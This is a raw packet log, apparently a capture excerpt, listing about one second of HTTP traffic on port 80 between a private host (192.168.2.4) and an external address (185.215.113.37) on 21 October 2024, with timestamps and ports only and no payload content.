Oct 21, 2024 09:06:20.866308928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.866331100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.866363049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.866384029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.866410017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.866434097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.866463900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.866483927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.866513014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.866534948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.866583109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.978542089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.978570938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.978588104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.978616953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.978641033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.978647947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.978660107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.978688955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.978701115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.978729963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.978738070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.978748083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.978765965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.978804111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.978873014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.978888988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.978899956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.978919983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.978929996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.978972912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.979058027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979068995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979080915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979091883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979100943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.979110003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979144096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.979172945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.979227066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979238033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979247093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979279995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.979311943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.979445934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979458094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979466915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979485989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979491949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.979501963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979511023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.979518890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979530096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979538918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979547977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.979558945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979568958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.979595900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.979753971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979856968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.979876995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979887009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979898930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979909897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979918957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.979928970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979940891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.979945898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979958057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.979979038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.980010033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.980209112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.980225086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.980237007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.980251074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.980257988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.980268002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.980278015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.980285883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.980297089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.980307102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.980314970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.980325937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.980339050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.980362892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.980504990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.980515957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.980526924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.980537891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.980561018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.980602980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.980735064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.980752945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.980763912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.980777025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.980782032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.980793953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.980804920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.980814934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.980827093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.980833054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.980845928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.980871916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.980901003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.981087923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981097937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981108904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981120110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981131077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981141090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.981149912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981162071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981173038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981183052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.981192112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981204033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981221914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.981251001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.981414080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981425047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981434107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981470108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.981555939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981566906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981578112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981587887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981596947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.981610060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981617928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.981632948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981642962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981653929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.981661081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981672049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981679916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.981688023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981699944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981707096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.981715918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981729984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.981748104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.981775999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.982100010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982111931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982121944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982134104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982162952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.982182980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.982243061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982254028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982264042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982306004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.982336998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.982394934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982407093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982417107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982428074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982448101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.982456923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982466936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.982474089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982484102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982492924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.982506990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982517958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982530117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.982536077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982547045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982558012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982566118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.982575893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982589960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.982598066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982609987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982620001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.982630014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982636929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.982647896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982659101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.982671022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.982707024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.983623028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.983633995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.983642101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.983656883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.983668089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.983675957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.983685017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.983696938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.983704090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.983714104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.983724117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.983731985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.983741999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.983752966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.983762026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.983772039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.983783960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.983793974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.983803988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.983824968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.983830929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.983846903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.983854055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.983882904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.983900070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.984188080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984198093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984209061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984219074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984230042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984239101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.984256983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984267950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984281063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984287024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.984297037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984309912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984317064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.984327078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984334946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.984344006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984354973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984364033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.984373093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984385014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.984390974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984401941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984436989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.984472036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.984565020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984575987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984586954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984597921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984607935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.984617949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984628916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984639883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984657049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.984699965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.984885931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984898090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984908104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984919071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984927893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.984936953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984947920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984956980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.984973907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.984982967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.984992027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.985001087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.985012054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.985023022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.985032082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.985040903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.985054016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.985063076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:20.985075951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:20.985101938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.098697901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.098715067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.098726034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.098769903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.098802090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.098952055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.098963022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.098973036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.098984003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.098994970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099009037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099014044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.099026918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099035978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.099045038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099061966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099078894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099087000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.099097013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099108934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.099113941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099126101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099144936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099150896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.099159956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099172115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099195004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.099212885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.099225044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099236012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099246025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099256992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099267960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.099275112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099286079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099294901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.099304914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099314928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.099354029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.099482059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099493027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099503040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099514961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099525928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.099534988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099569082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.099595070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.099626064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099642038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099653959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099670887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099678993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.099689007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099699020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099706888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.099716902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099728107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099740982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.099745989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099772930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.099793911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.099952936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099968910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.099996090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.100001097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.100011110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.100022078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.100028992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.100039005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.100047112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.100056887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.100068092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.100073099 CEST	80	49730	185.215.113.37	192.168.2.4
